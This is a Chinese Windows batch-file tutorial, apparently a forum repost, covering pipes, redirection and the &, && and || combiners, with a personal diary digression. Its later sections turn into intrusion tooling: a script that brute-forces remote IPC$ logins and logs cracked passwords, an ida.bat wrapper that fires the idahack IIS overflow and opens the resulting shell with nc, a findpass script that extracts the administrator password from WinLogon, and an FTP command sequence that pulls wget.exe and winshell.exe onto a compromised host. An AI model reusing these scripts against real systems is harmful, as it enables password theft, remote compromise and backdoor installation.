而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。
11.2、more命令。可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最後的結果就是隻能看到末尾的部分。在例十三裏,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這裏,你是否已經能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當後一命令的輸入來用的。在例十三裏,前一命令的輸出,就是help命令執行後顯示的DOS所支持的所有非隱含命令,而這個結果剛好做了後一命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這裏利用另一管道命令>生成了一個a.txt文件作爲中間環節,在用more命令查看a.txt文件後再刪除a.txt文件(例十三的所有操作是在內存中進行的,不生成文件)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。
結合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做後一命令的輸入。
12、>、>>
這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區別是,>會清除掉原有文件中的內容後把新的內容寫入原文件,而>>只會另起一行追加新的內容到原文件中,而不會改動其中的原有內容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,裏面的內容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到這裏,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區別如上所述。如果這裏只用>命令來完成上面操作,最後也會生成一個a.bat,但裏面的內容就只剩下最後一行exit了。所以>和>>一般都聯合起來用,除非你重定向的輸出只有一行,那麼就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。
13、<、>&、<&
這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。
<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
關於這三個管道命令的舉例,在後面批處理腳本的精妙應用中還將涉及到。
下面介紹組合命令:&、&&、||
組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現在已經成了一個文件了,那麼這多個命令就要用這些組合命令連接起來放在同一行----因爲批處理認行不認命令數目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先後順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執行的,後面給你說。
剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望着空蕩蕩的牀鋪,平日裏喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平時令人非常討厭的老鼠這時候才顯得可愛起來----只有它會陪着我在這不敢開燈的漆黑夜裏----一個連期末考試都應付不了的失敗男人。失敗!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭折。但我能怪誰?
忙碌了一學期要過年了卻掛了科,失敗;掛了科也倒罷了,竟然一個人拖全班的後退,失敗中的失敗;更失敗的,是在這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發現自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:爲什麼明知道那段情是一個旋渦卻還心甘情願的往裏面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠裏憐憫的愛;不再愛了,我不要在別人的視線裏如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛着,頭不能低腰不能彎,不能喘息不能傾訴,因爲雖然失敗,但還是男人,是男人就不能向困難低頭!
14、&
這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,並把這些命令按順序執行,而不管是否有命令執行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在後面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這裏&兩邊的命令是有執行順序的,從前往後執行。
15、&&
切記,這裏介紹的幾個命令都是組合命令,所以他們前後都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前後兩個命令組合起來當一個命令來用,與&命令不同之處在於,它在從前往後依次執行被它連接的幾個命令時會自動判斷是否有某個命令執行出錯,一旦發現出錯後將不繼續執行後面剩下的命令。這就爲我們自動化完成一些任務提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:/backup/www
如果遠程主機存在user.mdb,則copy到本地e:/backup/www,如果不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:/backup/www
至於你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執行效率更高,所以不知道用哪個更好,呵呵。
你是否還記得“有些命令是不能同時執行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執行兩個dir,然後把得到的結果>到a.txt裏就ok了嘛,看例十八:
dir c:/ && dir d:/ > a.txt
仔細研究一下這句執行後的結果,看看是否能達到題目的要求!錯了!這樣執行後a.txt裏只有D盤的信息!爲什麼?就因爲這裏&&命令和>命令不能同時出現一個句子裏(批處理把一行看成一個句子)!!組合命令&&的優先級沒有管道命令>的優先級高(自己總結的,不妥的地方請指正)!所以這句在執行時將本分成這兩部分:dir c:/和dir d:/ > a.txt,而並不是如你想的這兩部分:dir c:/ && dir d:/和> a.txt。要使用組合命令&&達到題目的要求,必須得這麼寫:
dir c:/ > a.txt && dir d:/ >> a.txt
這樣,依據優先級高低,DOS將把這句話分成以下兩部分:dir c:/ > a.txt和dir d:/ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。
當然這裏還可以利用&命令(自己想一下道理哦):
dir c:/ > a.txt & dir d:/ >> a.txt
16、||
這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條命令時,當遇到一個執行正確的命令就退出此命令組合,不再繼續執行下面的命令。題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!爲什麼?因爲如果不存在那個.exe文件,則前一條命令dir s*.exe執行肯定是不成功的,所以就繼續執行exit,自然就退出了,呵呵。那麼如何解決題目給出的問題呢?看例二十:
@echo off
dir s*.exe || echo Didn’t exist file s*.exe & pause & exit
這樣執行的結果,就能達到題目的要求,是否存在s*.exe將出現兩種結果。這裏加暫停的意思,當然是讓你能看到echo輸出的內容,否則一閃而過的窗口,echo就白寫了。
給出兩個更好研究優先級(同時也是更難理解)的腳本,仔細研究它們的區別,以便徹底理解各種命令的優先級順序,對以後自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如鬥,重者血管爆裂。任何人由於研究這兩個腳本的區別而造成的任何事故由自己或其合法監護人負責,與本人和本論壇無關。特此警告!
有關管道命令和組合命令就大概介紹到這裏了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最後得出的結論如上所述,已經一點不剩的交給你了,希望你好好收藏並消化吸收,當然有錯誤被你發現了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!
這幾個命令真的把我的頭都搞大了。在網上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人傢什麼,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以後將講到的用批處理操作註冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因爲他們纔是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發專門有針對性的學習,但有關這幾個命令的問題,卻是不容易精通掌握的----他們之間的關係太複雜了!
將下列代碼存爲bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 用戶名
密碼破解出來之後,存放於c:/pass.txt文件裏面。
將下列代碼存爲pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:/pass.txt
echo ------------------------------------------------------------------- >>c:/pass.txt
date /t >>c:/pass.txt
time /t >>c:/pass.txt
echo 破解結果: >>c:/pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存爲test.bat
net use //%1/ipc$Content$nbsp;%2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執行返回結果,net use成功返回0,失敗返回2
:answer0
echo 遠程主機:"%1" >>c:/pass.txt
echo 用 戶:"%3" >>c:/pass.txt
echo 密 碼:%2 >>c:/pass.txt
net use //%1/ipc$Content$nbsp;/delet
exit
:answer2
For
對一組文件中的每個文件運行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請使用以下語法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請使用以下語法:
for %variable in (set) do command [command-parameters]
參數
%%variable 或 %variable
代表可替換的參數。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件爲止。使用 %% variable 在批處理程序中執行 for 命令。使用 % variable 通過命令提示符執行 for 命令。變量名區分大小寫。
(set)
指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。
command
指定要在指定的 set 所包含的每個文件上執行的命令。
command-parameters
指定要用於指定命令(如果指定的命令要使用任何參數或開關)的任何參數或開關。
如果啓用了命令擴展(Windows 2000 中的默認設置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啓用了命令擴展,將支持如下 for 命令的其他格式:
只限於目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /R 後沒有指定目錄,則假定爲當前目錄。如果 set 只是一個句號 (.) 字符,則只列舉目錄樹。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。
BAT文件技巧
文章結構
1. 所有內置命令的幫助信息
2. 環境變量的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有內置命令的幫助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 環境變量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________
path: 表示可執行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%system32. 這個目錄裏面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%system32.
使用點(.) 便於一目瞭然
對環境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼
輸出文件到臨時文件目錄裏面.這樣便於當前目錄整潔.
對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:>dir p*
C: 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 個文件 2,164 字節
1 個目錄 1,505,997,824 可用字節
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
C:Program Files>
######################################################################
3. 內置的特殊符號(實際使用中間注意避開)
######################################################################
微軟裏面內置了下列字符不能夠在創建的文件名中間使用
con nul aux / | || && ^ > < *
(大意: 要麼你使用^作爲前導字符表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 創建一個文件
>> 追加到一個文件後面
@ 前綴字符.表示執行時本行在cmd裏面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號.
; 註釋,表示後面爲註釋
: 標號作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行註釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
######################################################################
4. 簡單批處理文件概念
######################################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt
netstat -n | find "3389"
這個將要列出所有連接3389的用戶的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示註釋語句,本行顯示
@rem 不顯示註釋語句,本行不顯示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我們以具體的一個idahack程序就是ida遠程溢出爲例子.應該是很簡單的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_________________________________
下面我們再來第二個文件.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END________________________________________
還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w